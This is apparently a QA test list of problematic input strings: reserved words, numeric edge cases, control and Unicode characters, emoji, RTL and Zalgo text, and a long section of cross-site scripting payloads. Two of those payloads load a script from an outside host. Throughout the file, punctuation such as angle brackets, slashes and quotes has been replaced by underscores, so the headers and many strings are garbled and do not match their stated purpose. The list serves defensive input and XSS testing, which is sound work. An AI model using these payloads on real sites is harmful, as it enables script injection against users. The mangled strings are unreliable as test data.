__Reserved_Strings
_
__Strings_which_may_be_used_elsewhere_in_code
_
undefined
undef
null
NULL
(null)
nil
NIL
true
false
True
False
TRUE
FALSE
None
hasOwnProperty
then
constructor
_
__
_
__Numeric_Strings
_
__Strings_which_can_be_interpreted_as_numeric
_
0
1
1.00
$1.00
1_2
1E2
1E02
1E+02
-1
-1.00
-$1.00
-1_2
-1E2
-1E02
-1E+02
1_0
0_0
-2147483648_-1
-9223372036854775808_-1
-0
-0.0
+0
+0.0
0.00
0..0
_
0.0.0
0,00
0,,0
,
0,0,0
0.0_0
1.0_0.0
0.0_0.0
1,0_0,0
0,0_0,0
--1
-
-.
-,
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
NaN
Infinity
-Infinity
INF
1_INF
-1_IND
1_QNAN
1_SNAN
1_IND
0x0
0xffffffff
0xffffffffffffffff
0xabad1dea
123456789012345678901234567890123456789
1,000.00
1_000.00
1'000.00
1,000,000.00
1_000_000.00
1'000'000.00
1.000,00
1_000,00
1'000,00
1.000.000,00
1_000_000,00
1'000'000,00
01000
08
09
2.2250738585072011e-308
_
__Special_Characters
_
__ASCII_punctuation.__All_of_these_characters_may_need_to_be_escaped_in_some
__contexts.__Divided_into_three_groups_based_on_(US-layout)_keyboard_position.
_
,._;'___-=
___:_____+
!@_$___*()_~
_
__Non-whitespace_C0_controls:_U+0001_through_U+0008,_U+000E_through_U+001F,
__and_U+007F_(DEL)
__Often_forbidden_to_appear_in_various_text-based_file_formats_(e.g._XML),
__or_reused_for_internal_delimiters_on_the_theory_that_they_should_never
__appear_in_input.
__The_next_line_may_appear_to_be_blank_or_mojibake_in_some_viewers.
___________________________
_
__Non-whitespace_C1_controls:_U+0080_through_U+0084_and_U+0086_through_U+009F.
__Commonly_misinterpreted_as_additional_graphic_characters.
__The_next_line_may_appear_to_be_blank,_mojibake,_or_dingbats_in_some_viewers.
_______________________________
_
__Whitespace:_all_of_the_characters_with_category_Zs,_Zl,_or_Zp_(in_Unicode
__version_8.0.0),_plus_U+0009_(HT),_U+000B_(VT),_U+000C_(FF),_U+0085_(NEL),
__and_U+200B_(ZERO_WIDTH_SPACE),_which_are_in_the_C_categories_but_are_often
__treated_as_whitespace_in_some_contexts.
__This_file_unfortunately_cannot_express_strings_containing
__U+0000,_U+000A,_or_U+000D_(NUL,_LF,_CR).
__The_next_line_may_appear_to_be_blank_or_mojibake_in_some_viewers.
__The_next_line_may_be_flagged_for__trailing_whitespace__in_some_viewers.
_____             ​

  　
_
__Unicode_additional_control_characters:_all_of_the_characters_with
__general_category_Cf_(in_Unicode_8.0.0).
__The_next_line_may_appear_to_be_blank_or_mojibake_in_some_viewers.
­؀؁؂؃؄؅؜۝܏᠎​‌‍‎‏‪‫‬‭‮⁠⁡⁢⁣⁤⁦⁧⁨⁩𑂽𛲠𛲡𛲢𛲣𝅳𝅴𝅵𝅶𝅷𝅸𝅹𝅺󠀁󠀠󠀡󠀢󠀣󠀤󠀥󠀦󠀧󠀨󠀩󠀪󠀫󠀬󠀭󠀮󠀯󠀰󠀱󠀲󠀳󠀴󠀵
_
___Byte_order_marks_,_U+FEFF_and_U+FFFE,_each_on_its_own_line.
__The_next_two_lines_may_appear_to_be_blank_or_mojibake_in_some_viewers.

_
_
__Unicode_Symbols
_
__Strings_which_contain_common_unicode_symbols_(e.g._smart_quotes)
_
Ω≈ç√∫˜µ≤≥÷
åß∂ƒ©˙∆˚¬…æ
œ∑´®†¥¨ˆøπ“‘
¡™£¢∞§¶•ªº–≠
¸˛Ç◊ı˜Â¯˘¿
ÅÍÎÏ˝ÓÔÒÚÆ☃
Œ„´‰ˇÁ¨ˆØ∏”’
_⁄€‹›fifl‡°·‚—±
⅛⅜⅝⅞
ЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюя
٠١٢٣٤٥٦٧٨٩
_
__Unicode_Subscript_Superscript_Accents
_
__Strings_which_contain_unicode_subscripts_superscripts;_can_cause_rendering_issues
_
⁰⁴⁵
₀₁₂
⁰⁴⁵₀₁₂
ด้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้็็็็็้้้้้้้้็็็็็้้้้้
_
__Quotation_Marks
_
__Strings_which_contain_misplaced_quotation_marks;_can_cause_encoding_errors
_
'
_
''
__
'_'
_''''_'_
_'_'_''''_
_foo_val=“bar”___
_foo_val=“bar”___
_foo_val=”bar“___
_foo_val=_bar'___
_
__Two-Byte_Characters
_
__Strings_which_contain_two-byte_characters:_can_cause_rendering_issues_or_character-length_issues
_
田中さんにあげて下さい
パーティーへ行かないか
和製漢語
部落格
사회과학원_어학연구소
찦차를_타고_온_펲시맨과_쑛다리_똠방각하
社會科學院語學研究所
울란바토르
𠜎𠜱𠝹𠱓𠱸𠲖𠳏
_
__Strings_which_contain_two-byte_letters:_can_cause_issues_with_naïve_UTF-16_capitalizers_which_think_that_16_bits_==_1_character
_
𐐜_𐐔𐐇𐐝𐐀𐐡𐐇𐐓_𐐙𐐊𐐡𐐝𐐓_𐐝𐐇𐐗𐐊𐐤𐐔_𐐒𐐋𐐗_𐐒𐐌_𐐜_𐐡𐐀𐐖𐐇𐐤𐐓𐐝_𐐱𐑂_𐑄_𐐔𐐇𐐝𐐀𐐡𐐇𐐓_𐐏𐐆𐐅𐐤𐐆𐐚𐐊𐐡𐐝𐐆𐐓𐐆
_
__Special_Unicode_Characters_Union
_
__A_super_string_recommended_by_VMware_Inc._Globalization_Team:_can_effectively_cause_rendering_issues_or_character-length_issues_to_validate_product_globalization_readiness.
_
__表__________CJK_UNIFIED_IDEOGRAPHS_(U+8868)
__ポ__________KATAKANA_LETTER_PO_(U+30DD)
__あ__________HIRAGANA_LETTER_A_(U+3042)
__A___________LATIN_CAPITAL_LETTER_A_(U+0041)
__鷗__________CJK_UNIFIED_IDEOGRAPHS_(U+9DD7)
__Œ___________LATIN_SMALL_LIGATURE_OE_(U+0153)_
__é___________LATIN_SMALL_LETTER_E_WITH_ACUTE_(U+00E9)
__Ｂ___________FULLWIDTH_LATIN_CAPITAL_LETTER_B_(U+FF22)
__逍__________CJK_UNIFIED_IDEOGRAPHS_(U+900D)
__Ü___________LATIN_SMALL_LETTER_U_WITH_DIAERESIS_(U+00FC)
__ß___________LATIN_SMALL_LETTER_SHARP_S_(U+00DF)
__ª___________FEMININE_ORDINAL_INDICATOR_(U+00AA)
__ą___________LATIN_SMALL_LETTER_A_WITH_OGONEK_(U+0105)
__ñ___________LATIN_SMALL_LETTER_N_WITH_TILDE_(U+00F1)
__丂__________CJK_UNIFIED_IDEOGRAPHS_(U+4E02)
__㐀__________CJK_Ideograph_Extension_A,_First_(U+3400)
__𠀀__________CJK_Ideograph_Extension_B,_First_(U+20000)
_
表ポあA鷗ŒéＢ逍Üߪąñ丂㐀𠀀
_
__Changing_length_when_lowercased
_
__Characters_which_increase_in_length_(2_to_3_bytes)_when_lowercased
__Credit:_https:__twitter.com_jifa_status_625776454479970304
_
Ⱥ
Ⱦ
_
__Japanese_Emoticons
_
__Strings_which_consists_of_Japanese-style_emoticons_which_are_popular_on_the_web
_
ヽ༼ຈل͜ຈ༽ﾉ_ヽ༼ຈل͜ຈ༽ﾉ
(｡◕_∀_◕｡)
｀ｨ(´∀｀∩
__ﾛ(,_,*)
・(￣∀￣)・:*:
ﾟ･✿ヾ╲(｡◕‿◕｡)╱✿･ﾟ
,。・:*:・゜’(_☻_ω_☻_)。・:*:・゜’
(╯°□°）╯︵_┻━┻)
(ﾉಥ益ಥ）ﾉ_┻━┻
┬─┬ノ(_º___ºノ)
(_͡°_͜ʖ_͡°)
¯__(ツ)__¯
_
__Emoji
_
__Strings_which_contain_Emoji;_should_be_the_same_behavior_as_two-byte_characters,_but_not_always
_
😍
👩🏽
👨‍🦰_👨🏿‍🦰_👨‍🦱_👨🏿‍🦱_🦹🏿‍♂️
👾_🙇_💁_🙅_🙆_🙋_🙎_🙍
🐵_🙈_🙉_🙊
❤️_💔_💌_💕_💞_💓_💗_💖_💘_💝_💟_💜_💛_💚_💙
✋🏿_💪🏿_👐🏿_🙌🏿_👏🏿_🙏🏿
👨‍👩‍👦_👨‍👩‍👧‍👦_👨‍👨‍👦_👩‍👩‍👧_👨‍👦_👨‍👧‍👦_👩‍👦_👩‍👧‍👦
🚾_🆒_🆓_🆕_🆖_🆗_🆙_🏧
0️⃣_1️⃣_2️⃣_3️⃣_4️⃣_5️⃣_6️⃣_7️⃣_8️⃣_9️⃣_🔟
_
________Regional_Indicator_Symbols
_
________Regional_Indicator_Symbols_can_be_displayed_differently_across
________fonts,_and_have_a_number_of_special_behaviors
_
🇺🇸🇷🇺🇸_🇦🇫🇦🇲🇸
🇺🇸🇷🇺🇸🇦🇫🇦🇲
🇺🇸🇷🇺🇸🇦
_
__Unicode_Numbers
_
__Strings_which_contain_unicode_numbers;_if_the_code_is_localized,_it_should_see_the_input_as_numeric
_
１２３
١٢٣
_
__Right-To-Left_Strings
_
__Strings_which_contain_text_that_should_be_rendered_RTL_if_possible_(e.g._Arabic,_Hebrew)
_
ثم_نفس_سقطت_وبالتحديد،,_جزيرتي_باستخدام_أن_دنو._إذ_هنا؟_الستار_وتنصيب_كان._أهّل_ايطاليا،_بريطانيا-فرنسا_قد_أخذ._سليمان،_إتفاقية_بين_ما,_يذكر_.
בְּרֵאשִׁית,_בָּרָא_אֱלֹהִים,_אֵת_הַשָּׁמַיִם,_וְאֵת_הָאָרֶץ
הָיְתָהtestالصفحات_التّحول
﷽
ﷺ
مُنَاقَشَةُ_سُبُلِ_اِسْتِخْدَامِ_اللُّغَةِ_فِي_النُّظُمِ_الْقَائِمَةِ_وَفِيم_يَخُصَّ_التَّطْبِيقَاتُ_الْحاسُوبِيَّةُ،
الكل_في_المجمو_عة_(5)
_
__Ogham_Text
_
__The_only_unicode_alphabet_to_use_a_space_which_isn't_empty_but_should_still_act_like_a_space.
_
᚛ᚄᚓᚐᚋᚒᚄ ᚑᚄᚂᚑᚏᚅ᚜
᚛                 ᚜
_
__Trick_Unicode
_
__Strings_which_contain_unicode_with_unusual_properties_(e.g._Right-to-left_override)_(c.f._http:__www.unicode.org_charts_PDF_U2000.pdf)
_
‪‪test‪
‫test‫

test

test⁠test‫
⁦test⁧
_
__Zalgo_Text
_
__Strings_which_contain__corrupted__text._The_corruption_will_not_appear_in_non-HTML_text,_however._(via_http:__www.eeemo.net)
_
Ṱ̺̺̕o͞_̷i̲̬͇̪͙n̝̗͕v̟̜̘̦͟o̶̙̰̠kè͚̮̺̪̹̱̤_̖t̝͕̳̣̻̪͞h̼͓̲̦̳̘̲e͇̣̰̦̬͎_̢̼̻̱̘h͚͎͙̜̣̲ͅi̦̲̣̰̤v̻͍e̺̭̳̪̰-m̢iͅn̖̺̞̲̯̰d̵̼̟͙̩̼̘̳_̞̥̱̳̭r̛̗̘e͙p͠r̼̞̻̭̗e̺̠.̨̹͈̣
̡͓̞ͅI̗̘̦͝n͇͇͙v̮̫ok̲̫̙͈i̖͙̭̹̠̞n̡̻̮̣̺g̲͈͙̭͙̬͎_̰t͔̦h̞̲e̢̤_͍̬̲͖f̴̘͕̣è͖ẹ̥̩l͖͔͚i͓͚̦͠n͖͍̗͓̳̮g͍_̨o͚̪͡f̘̣̬_̖̘͖̟͙̮c҉͔̫͖͓͇͖ͅh̵̤̣͚͔á̗̼͕ͅo̼̣̥s̱͈̺̖.̛̖̞̠̫̰
̗̺͖̹̯͓Ṯ̤͍̥͇͈h̲́e͏͓̼̗̙̼̣͔_͇̜̱̠͓͍ͅN͕͠e̗̱z̘̝̜̺͙p̤̺̹͍̯͚e̠̻̠͜r̨̤͍̺̖͔̖̖d̠̟̭̬̝͟i̦͖̩͓͔̤a̠̗̬͉̙n͚͜_̻̞̰͚ͅh̵͉i̳̞v̢͇ḙ͎͟-҉̭̩̼͔m̤̭̫i͕͇̝̦n̗͙ḍ̟_̯̲͕͞ǫ̟̯̰.̟
̦H̬̤̗̤͝e͜_̜̥̝̻͍̟́w̕h̖̯͓o̝͙̖͎̱̮_҉̺̙̞̟͈W̷̼̭a̺̪͍į͈͕̭͙̯̜t̶̼̮s̘͙͖̕_̠̫̠B̻͍͙͉̳ͅe̵h̵̬͇̫͙i̹͓̳̳̮͎̫̕n͟d̴̪̜̖_̰͉̩͇͙̲͞ͅT͖̼͓̪͢h͏͓̮̻e̬̝̟ͅ_̤̹̝W͙̞̝͔͇͝ͅa͏͓͔̹.͕
Z̮̞̠͙͔ͅḀ̗̞͈̻̗Ḷ͙͎̯̹̞͓G̻O̭̗̮
_
__Unicode_Upsidedown
_
__Strings_which_contain_unicode_with_an__upsidedown__effect_(via_http:__www.upsidedowntext.com)
_
˙ɐnbᴉlɐ_ɐuƃɐɯ_ǝɹolop_ʇǝ_ǝɹoqɐl_ʇn_ʇunpᴉpᴉɔuᴉ_ɹodɯǝʇ_poɯsnᴉǝ_op_pǝs_'ʇᴉlǝ_ƃuᴉɔsᴉdᴉpɐ_ɹnʇǝʇɔǝsuoɔ_'ʇǝɯɐ_ʇᴉs_ɹolop_ɯnsdᴉ_ɯǝɹo˥
00˙Ɩ$-
_
__Unicode_font
_
__Strings_which_contain_bold_italic_etc._versions_of_normal_characters
_
Ｔｈｅ_ｑｕｉｃｋ_ｂｒｏｗｎ_ｆｏｘ_ｊｕｍｐｓ_ｏｖｅｒ_ｔｈｅ_ｌａｚｙ_ｄｏｇ
𝐓𝐡𝐞_𝐪𝐮𝐢𝐜𝐤_𝐛𝐫𝐨𝐰𝐧_𝐟𝐨𝐱_𝐣𝐮𝐦𝐩𝐬_𝐨𝐯𝐞𝐫_𝐭𝐡𝐞_𝐥𝐚𝐳𝐲_𝐝𝐨𝐠
𝕿𝖍𝖊_𝖖𝖚𝖎𝖈𝖐_𝖇𝖗𝖔𝖜𝖓_𝖋𝖔𝖝_𝖏𝖚𝖒𝖕𝖘_𝖔𝖛𝖊𝖗_𝖙𝖍𝖊_𝖑𝖆𝖟𝖞_𝖉𝖔𝖌
𝑻𝒉𝒆_𝒒𝒖𝒊𝒄𝒌_𝒃𝒓𝒐𝒘𝒏_𝒇𝒐𝒙_𝒋𝒖𝒎𝒑𝒔_𝒐𝒗𝒆𝒓_𝒕𝒉𝒆_𝒍𝒂𝒛𝒚_𝒅𝒐𝒈
𝓣𝓱𝓮_𝓺𝓾𝓲𝓬𝓴_𝓫𝓻𝓸𝔀𝓷_𝓯𝓸𝔁_𝓳𝓾𝓶𝓹𝓼_𝓸𝓿𝓮𝓻_𝓽𝓱𝓮_𝓵𝓪𝔃𝔂_𝓭𝓸𝓰
𝕋𝕙𝕖_𝕢𝕦𝕚𝕔𝕜_𝕓𝕣𝕠𝕨𝕟_𝕗𝕠𝕩_𝕛𝕦𝕞𝕡𝕤_𝕠𝕧𝕖𝕣_𝕥𝕙𝕖_𝕝𝕒𝕫𝕪_𝕕𝕠𝕘
𝚃𝚑𝚎_𝚚𝚞𝚒𝚌𝚔_𝚋𝚛𝚘𝚠𝚗_𝚏𝚘𝚡_𝚓𝚞𝚖𝚙𝚜_𝚘𝚟𝚎𝚛_𝚝𝚑𝚎_𝚕𝚊𝚣𝚢_𝚍𝚘𝚐
⒯⒣⒠_⒬⒰⒤⒞⒦_⒝⒭⒪⒲⒩_⒡⒪⒳_⒥⒰⒨⒫⒮_⒪⒱⒠⒭_⒯⒣⒠_⒧⒜⒵⒴_⒟⒪⒢
_
__Script_Injection
_
__Strings_which_attempt_to_invoke_a_benign_script_injection;_shows_vulnerability_to_XSS
_
_script_alert(0)__script_
_lt;script_gt;alert(__39;1__39;);_lt;_script_gt;
_img_src=x_onerror=alert(2)___
_svg__script_123_1_alert(3)__script_
___script_alert(4)__script_
'__script_alert(5)__script_
__script_alert(6)__script_
__script__script_alert(7)__script_
____script____script__alert(8)____script__
 onfocus=JaVaSCript:alert(9)_autofocus
__onfocus=JaVaSCript:alert(10)_autofocus
'_onfocus=JaVaSCript:alert(11)_autofocus
＜script＞alert(12)＜_script＞
_sc_script_ript_alert(13)__sc__script_ript_
--__script_alert(14)__script_
_;alert(15);t=_
';alert(16);t='
JavaSCript:alert(17)
;alert(18);
src=JaVaSCript:prompt(19)
___script_alert(20);__script_x=_
'__script_alert(21);__script_x='
__script_alert(22);__script_x=
__autofocus_onkeyup=_javascript:alert(23)
'_autofocus_onkeyup='javascript:alert(24)
_script_x20type=_text_javascript__javascript:alert(25);__script_
_script_x3Etype=_text_javascript__javascript:alert(26);__script_
_script_x0Dtype=_text_javascript__javascript:alert(27);__script_
_script_x09type=_text_javascript__javascript:alert(28);__script_
_script_x0Ctype=_text_javascript__javascript:alert(29);__script_
_script_x2Ftype=_text_javascript__javascript:alert(30);__script_
_script_x0Atype=_text_javascript__javascript:alert(31);__script_
'_____x3Cscript_javascript:alert(32)__script_
'_____x00script_javascript:alert(33)__script_
ABC_div_style=_x_x3Aexpression(javascript:alert(34)__DEF
ABC_div_style=_x:expression_x5C(javascript:alert(35)__DEF
ABC_div_style=_x:expression_x00(javascript:alert(36)__DEF
ABC_div_style=_x:exp_x00ression(javascript:alert(37)__DEF
ABC_div_style=_x:exp_x5Cression(javascript:alert(38)__DEF
ABC_div_style=_x:_x0Aexpression(javascript:alert(39)__DEF
ABC_div_style=_x:_x09expression(javascript:alert(40)__DEF
ABC_div_style=_x:_xE3_x80_x80expression(javascript:alert(41)__DEF
ABC_div_style=_x:_xE2_x80_x84expression(javascript:alert(42)__DEF
ABC_div_style=_x:_xC2_xA0expression(javascript:alert(43)__DEF
ABC_div_style=_x:_xE2_x80_x80expression(javascript:alert(44)__DEF
ABC_div_style=_x:_xE2_x80_x8Aexpression(javascript:alert(45)__DEF
ABC_div_style=_x:_x0Dexpression(javascript:alert(46)__DEF
ABC_div_style=_x:_x0Cexpression(javascript:alert(47)__DEF
ABC_div_style=_x:_xE2_x80_x87expression(javascript:alert(48)__DEF
ABC_div_style=_x:_xEF_xBB_xBFexpression(javascript:alert(49)__DEF
ABC_div_style=_x:_x20expression(javascript:alert(50)__DEF
ABC_div_style=_x:_xE2_x80_x88expression(javascript:alert(51)__DEF
ABC_div_style=_x:_x00expression(javascript:alert(52)__DEF
ABC_div_style=_x:_xE2_x80_x8Bexpression(javascript:alert(53)__DEF
ABC_div_style=_x:_xE2_x80_x86expression(javascript:alert(54)__DEF
ABC_div_style=_x:_xE2_x80_x85expression(javascript:alert(55)__DEF
ABC_div_style=_x:_xE2_x80_x82expression(javascript:alert(56)__DEF
ABC_div_style=_x:_x0Bexpression(javascript:alert(57)__DEF
ABC_div_style=_x:_xE2_x80_x81expression(javascript:alert(58)__DEF
ABC_div_style=_x:_xE2_x80_x83expression(javascript:alert(59)__DEF
ABC_div_style=_x:_xE2_x80_x89expression(javascript:alert(60)__DEF
_a_href=__x0Bjavascript:javascript:alert(61)__id=_fuzzelement1__test__a_
_a_href=__x0Fjavascript:javascript:alert(62)__id=_fuzzelement1__test__a_
_a_href=__xC2_xA0javascript:javascript:alert(63)__id=_fuzzelement1__test__a_
_a_href=__x05javascript:javascript:alert(64)__id=_fuzzelement1__test__a_
_a_href=__xE1_xA0_x8Ejavascript:javascript:alert(65)__id=_fuzzelement1__test__a_
_a_href=__x18javascript:javascript:alert(66)__id=_fuzzelement1__test__a_
_a_href=__x11javascript:javascript:alert(67)__id=_fuzzelement1__test__a_
_a_href=__xE2_x80_x88javascript:javascript:alert(68)__id=_fuzzelement1__test__a_
_a_href=__xE2_x80_x89javascript:javascript:alert(69)__id=_fuzzelement1__test__a_
_a_href=__xE2_x80_x80javascript:javascript:alert(70)__id=_fuzzelement1__test__a_
_a_href=__x17javascript:javascript:alert(71)__id=_fuzzelement1__test__a_
_a_href=__x03javascript:javascript:alert(72)__id=_fuzzelement1__test__a_
_a_href=__x0Ejavascript:javascript:alert(73)__id=_fuzzelement1__test__a_
_a_href=__x1Ajavascript:javascript:alert(74)__id=_fuzzelement1__test__a_
_a_href=__x00javascript:javascript:alert(75)__id=_fuzzelement1__test__a_
_a_href=__x10javascript:javascript:alert(76)__id=_fuzzelement1__test__a_
_a_href=__xE2_x80_x82javascript:javascript:alert(77)__id=_fuzzelement1__test__a_
_a_href=__x20javascript:javascript:alert(78)__id=_fuzzelement1__test__a_
_a_href=__x13javascript:javascript:alert(79)__id=_fuzzelement1__test__a_
_a_href=__x09javascript:javascript:alert(80)__id=_fuzzelement1__test__a_
_a_href=__xE2_x80_x8Ajavascript:javascript:alert(81)__id=_fuzzelement1__test__a_
_a_href=__x14javascript:javascript:alert(82)__id=_fuzzelement1__test__a_
_a_href=__x19javascript:javascript:alert(83)__id=_fuzzelement1__test__a_
_a_href=__xE2_x80_xAFjavascript:javascript:alert(84)__id=_fuzzelement1__test__a_
_a_href=__x1Fjavascript:javascript:alert(85)__id=_fuzzelement1__test__a_
_a_href=__xE2_x80_x81javascript:javascript:alert(86)__id=_fuzzelement1__test__a_
_a_href=__x1Djavascript:javascript:alert(87)__id=_fuzzelement1__test__a_
_a_href=__xE2_x80_x87javascript:javascript:alert(88)__id=_fuzzelement1__test__a_
_a_href=__x07javascript:javascript:alert(89)__id=_fuzzelement1__test__a_
_a_href=__xE1_x9A_x80javascript:javascript:alert(90)__id=_fuzzelement1__test__a_
_a_href=__xE2_x80_x83javascript:javascript:alert(91)__id=_fuzzelement1__test__a_
_a_href=__x04javascript:javascript:alert(92)__id=_fuzzelement1__test__a_
_a_href=__x01javascript:javascript:alert(93)__id=_fuzzelement1__test__a_
_a_href=__x08javascript:javascript:alert(94)__id=_fuzzelement1__test__a_
_a_href=__xE2_x80_x84javascript:javascript:alert(95)__id=_fuzzelement1__test__a_
_a_href=__xE2_x80_x86javascript:javascript:alert(96)__id=_fuzzelement1__test__a_
_a_href=__xE3_x80_x80javascript:javascript:alert(97)__id=_fuzzelement1__test__a_
_a_href=__x12javascript:javascript:alert(98)__id=_fuzzelement1__test__a_
_a_href=__x0Djavascript:javascript:alert(99)__id=_fuzzelement1__test__a_
_a_href=__x0Ajavascript:javascript:alert(100)__id=_fuzzelement1__test__a_
_a_href=__x0Cjavascript:javascript:alert(101)__id=_fuzzelement1__test__a_
_a_href=__x15javascript:javascript:alert(102)__id=_fuzzelement1__test__a_
_a_href=__xE2_x80_xA8javascript:javascript:alert(103)__id=_fuzzelement1__test__a_
_a_href=__x16javascript:javascript:alert(104)__id=_fuzzelement1__test__a_
_a_href=__x02javascript:javascript:alert(105)__id=_fuzzelement1__test__a_
_a_href=__x1Bjavascript:javascript:alert(106)__id=_fuzzelement1__test__a_
_a_href=__x06javascript:javascript:alert(107)__id=_fuzzelement1__test__a_
_a_href=__xE2_x80_xA9javascript:javascript:alert(108)__id=_fuzzelement1__test__a_
_a_href=__xE2_x80_x85javascript:javascript:alert(109)__id=_fuzzelement1__test__a_
_a_href=__x1Ejavascript:javascript:alert(110)__id=_fuzzelement1__test__a_
_a_href=__xE2_x81_x9Fjavascript:javascript:alert(111)__id=_fuzzelement1__test__a_
_a_href=__x1Cjavascript:javascript:alert(112)__id=_fuzzelement1__test__a_
_a_href=_javascript_x00:javascript:alert(113)__id=_fuzzelement1__test__a_
_a_href=_javascript_x3A:javascript:alert(114)__id=_fuzzelement1__test__a_
_a_href=_javascript_x09:javascript:alert(115)__id=_fuzzelement1__test__a_
_a_href=_javascript_x0D:javascript:alert(116)__id=_fuzzelement1__test__a_
_a_href=_javascript_x0A:javascript:alert(117)__id=_fuzzelement1__test__a_
__'__img_src=xxx:x__x0Aonerror=javascript:alert(118)_
__'__img_src=xxx:x__x22onerror=javascript:alert(119)_
__'__img_src=xxx:x__x0Bonerror=javascript:alert(120)_
__'__img_src=xxx:x__x0Donerror=javascript:alert(121)_
__'__img_src=xxx:x__x2Fonerror=javascript:alert(122)_
__'__img_src=xxx:x__x09onerror=javascript:alert(123)_
__'__img_src=xxx:x__x0Conerror=javascript:alert(124)_
__'__img_src=xxx:x__x00onerror=javascript:alert(125)_
__'__img_src=xxx:x__x27onerror=javascript:alert(126)_
__'__img_src=xxx:x__x20onerror=javascript:alert(127)_
__'__script__x3Bjavascript:alert(128)__script_
__'__script__x0Djavascript:alert(129)__script_
__'__script__xEF_xBB_xBFjavascript:alert(130)__script_
__'__script__xE2_x80_x81javascript:alert(131)__script_
__'__script__xE2_x80_x84javascript:alert(132)__script_
__'__script__xE3_x80_x80javascript:alert(133)__script_
__'__script__x09javascript:alert(134)__script_
__'__script__xE2_x80_x89javascript:alert(135)__script_
__'__script__xE2_x80_x85javascript:alert(136)__script_
__'__script__xE2_x80_x88javascript:alert(137)__script_
__'__script__x00javascript:alert(138)__script_
__'__script__xE2_x80_xA8javascript:alert(139)__script_
__'__script__xE2_x80_x8Ajavascript:alert(140)__script_
__'__script__xE1_x9A_x80javascript:alert(141)__script_
__'__script__x0Cjavascript:alert(142)__script_
__'__script__x2Bjavascript:alert(143)__script_
__'__script__xF0_x90_x96_x9Ajavascript:alert(144)__script_
__'__script_-javascript:alert(145)__script_
__'__script__x0Ajavascript:alert(146)__script_
__'__script__xE2_x80_xAFjavascript:alert(147)__script_
__'__script__x7Ejavascript:alert(148)__script_
__'__script__xE2_x80_x87javascript:alert(149)__script_
__'__script__xE2_x81_x9Fjavascript:alert(150)__script_
__'__script__xE2_x80_xA9javascript:alert(151)__script_
__'__script__xC2_x85javascript:alert(152)__script_
__'__script__xEF_xBF_xAEjavascript:alert(153)__script_
__'__script__xE2_x80_x83javascript:alert(154)__script_
__'__script__xE2_x80_x8Bjavascript:alert(155)__script_
__'__script__xEF_xBF_xBEjavascript:alert(156)__script_
__'__script__xE2_x80_x80javascript:alert(157)__script_
__'__script__x21javascript:alert(158)__script_
__'__script__xE2_x80_x82javascript:alert(159)__script_
__'__script__xE2_x80_x86javascript:alert(160)__script_
__'__script__xE1_xA0_x8Ejavascript:alert(161)__script_
__'__script__x0Bjavascript:alert(162)__script_
__'__script__x20javascript:alert(163)__script_
__'__script__xC2_xA0javascript:alert(164)__script_
_img__x00src=x_onerror=_alert(165)__
_img__x47src=x_onerror=_javascript:alert(166)__
_img__x11src=x_onerror=_javascript:alert(167)__
_img__x12src=x_onerror=_javascript:alert(168)__
_img_x47src=x_onerror=_javascript:alert(169)__
_img_x10src=x_onerror=_javascript:alert(170)__
_img_x13src=x_onerror=_javascript:alert(171)__
_img_x32src=x_onerror=_javascript:alert(172)__
_img_x47src=x_onerror=_javascript:alert(173)__
_img_x11src=x_onerror=_javascript:alert(174)__
_img__x47src=x_onerror=_javascript:alert(175)__
_img__x34src=x_onerror=_javascript:alert(176)__
_img__x39src=x_onerror=_javascript:alert(177)__
_img__x00src=x_onerror=_javascript:alert(178)__
_img_src_x09=x_onerror=_javascript:alert(179)__
_img_src_x10=x_onerror=_javascript:alert(180)__
_img_src_x13=x_onerror=_javascript:alert(181)__
_img_src_x32=x_onerror=_javascript:alert(182)__
_img_src_x12=x_onerror=_javascript:alert(183)__
_img_src_x11=x_onerror=_javascript:alert(184)__
_img_src_x00=x_onerror=_javascript:alert(185)__
_img_src_x47=x_onerror=_javascript:alert(186)__
_img_src=x_x09onerror=_javascript:alert(187)__
_img_src=x_x10onerror=_javascript:alert(188)__
_img_src=x_x11onerror=_javascript:alert(189)__
_img_src=x_x12onerror=_javascript:alert(190)__
_img_src=x_x13onerror=_javascript:alert(191)__
_img_a__b__c_src_d_=x_e_onerror=_f__alert(192)__
_img_src=x_onerror=_x09_javascript:alert(193)__
_img_src=x_onerror=_x10_javascript:alert(194)__
_img_src=x_onerror=_x11_javascript:alert(195)__
_img_src=x_onerror=_x12_javascript:alert(196)__
_img_src=x_onerror=_x32_javascript:alert(197)__
_img_src=x_onerror=_x00_javascript:alert(198)__
_a_href=java__1__2__3__4__5__6__7__8__11__12script:javascript:alert(199)_XXX__a_
_img_src=_x____script_javascript:alert(200)__script______
_img_src_onerror____'_=_alt=javascript:alert(201)____
_title_onpropertychange=javascript:alert(202)___title__title_title=_
_a_href=http:__foo.bar__x=_y___a__img_alt=____img_src=x:x_onerror=javascript:alert(203)___a___
_!--_if___script_javascript:alert(204)__script_--_
_!--_if_img_src=x_onerror=javascript:alert(205)_____--_
_script_src=____(jscript)s____script_
_script_src=____(jscript)s____script_
_IMG______SCRIPT_alert(_206_)__SCRIPT___
_IMG_SRC=javascript:alert(String.fromCharCode(50,48,55))_
_IMG_SRC=__onmouseover=_alert('208')__
_IMG_SRC=_onmouseover=_alert('209')__
_IMG_onmouseover=_alert('210')__
_IMG_SRC=__106;__97;__118;__97;__115;__99;__114;__105;__112;__116;__58;__97;__108;__101;__114;__116;__40;__39;__50;__49;__49;__39;__41;_
_IMG_SRC=__0000106__0000097__0000118__0000097__0000115__0000099__0000114__0000105__0000112__0000116__0000058__0000097__0000108__0000101__0000114__0000116__0000040__0000039__0000050__0000049__0000050__0000039__0000041_
_IMG_SRC=__x6A__x61__x76__x61__x73__x63__x72__x69__x70__x74__x3A__x61__x6C__x65__x72__x74__x28__x27__x32__x31__x33__x27__x29_
_IMG_SRC=_jav_ _ascript:alert('214');__
_IMG_SRC=_jav__x09;ascript:alert('215');__
_IMG_SRC=_jav__x0A;ascript:alert('216');__
_IMG_SRC=_jav__x0D;ascript:alert('217');__
perl_-e_'print___IMG_SRC=java_0script:alert(__218__)__;'___out
_IMG_SRC=____14;_ javascript:alert('219');__
_SCRIPT_XSS_SRC=_http:__ha.ckers.org_xss.js____SCRIPT_
_BODY_onload!_$__()*~+-_.,:;_@_______=alert(_220_)_
_SCRIPT_SRC=_http:__ha.ckers.org_xss.js____SCRIPT_
__SCRIPT_alert(_221_);_____SCRIPT_
